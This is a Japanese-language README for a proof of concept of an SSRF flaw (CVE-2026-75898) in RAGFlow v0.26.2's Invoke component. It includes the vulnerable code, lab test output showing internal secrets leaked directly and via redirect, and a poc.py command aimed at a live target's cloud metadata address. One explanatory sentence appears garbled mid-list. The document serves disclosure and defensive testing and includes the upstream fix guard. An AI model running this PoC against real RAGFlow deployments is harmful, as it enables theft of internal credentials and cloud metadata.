
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| 修正バージョン | v0.26.3 |
| 修正コミット | c4fe68e, e16d1a0 |
| 関連Issue | infiniflow/ragflow#15425, #18280 |
| アドバイザリ | VulnCheck |
v0.26.2のagent/component/invoke.pyにおいて、Invokeコンポーネントはユーザーが指定した変数テンプレートからリクエストURLを構築し、解決されたホストに対する検証を一切行いません:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
このURLは_send_request()内のrequests.get/post/putに渡されます。allow_redirectsがrequestsのデフォルト(True)のままであるため、攻撃者は以下のことが可能です:
urlを内部アドレス(127.0.0.1、169.254.169.254、RFC1918レンジ。解決済みホストのピン留めは存在しません)に設定する、または修正ではassert_url_is_safe()とpin_dns()が追加され、allow_redirects=Falseが強制されます。
「類似した」再実装とは異なり、このリポジトリは脆弱なコンポーネントの未修正のv0.26.2ソースコードを実行します:
target/invoke_v0.26.2.py — v0.26.2タグからのagent/component/invoke.pyをバイト単位で完全に一致させたもの。e2e/test_genuine_ssrf.py — 薄いインポートスタブの背後でその実ファイルを読み込み(スタブは無関係なインポートのみを置き換えます:ComponentBase、timeoutデコレータ、HtmlParser — SSRFパスロジックには一切触れません)、コンポーネントが直接およびリダイレクトチェーン経由で内部サービスに到達することを証明します。e2e/test_fix_guard.py — 同じファイルにアップストリームのガード(assert_url_is_safe、allow_redirects=False)を適用し、リクエストがブロックされることを示します。3つの独立した方法で検証済みです:
e2e/test_genuine_ssrf.pyが未修正のtarget/invoke_v0.26.2.pyソースをループバックラボサーバーに対して実行 — SSRFを確認。e2e/test_fix_guard.pyが同じファイルにアップストリームのガードを適用 — ブロックされることを確認。docker composeによるRAGFlow v0.26.2(infinity+mysql+minio+valkey)。実際のエージェントフロー内のInvokeノードが内部ホストのポートからINTERNAL-DB-SECRET:dbpassword=SuperSecret123を取得しました。逐語的な証拠はLAB_DEMO.mdを参照してください。cd e2e
python3 test_genuine_ssrf.py # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py # must print BLOCKED (fixed behavior)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
認証済みセッショントークンが必要です(Invokeはエージェントフロー内で実行されます)。
python3 poc.py --poc # local E2E
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
InvokeノードのURLテンプレートを許可リストに制限してください。RAGFlow v0.26.3(2026年8月)で修正されました。このPoCは、認可されたセキュリティテストおよび教育のみを目的として、公開アドバイザリと修正コミットから独立して再構築されたものです。InfiniFlowとは提携関係にありません。